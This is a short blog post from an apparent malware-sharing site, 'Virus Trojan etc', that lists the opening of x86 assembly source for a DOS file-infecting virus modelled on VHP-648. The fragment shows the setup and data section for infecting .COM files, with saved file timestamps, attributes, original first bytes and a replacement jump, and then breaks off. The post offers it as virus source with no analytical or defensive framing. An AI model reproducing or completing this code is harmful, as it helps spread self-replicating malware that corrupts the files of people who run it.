..:: Virus Trojan etc ::..

Archive for August 15th, 2008

Listing Virus 3

Posted by: programmervb on: August 15, 2008

name    Virus
title    Virus; based on the famous VHP-648 virus
.radix    16
code    segment
assume    cs:code,ds:code
org    100
environ equ    2C
start:
jmp    virus
int    20
data    label    byte        ;Data section
dtaaddr dd    ?        ;Disk Transfer Address
ftime    dw    ?        ;File date
fdate    dw    ?        ;File time
fattrib dw    ?        ;File attribute
saveins db    3 dup (90)    ;Original first 3 bytes
newjmp    db    0E9        ;Code [...]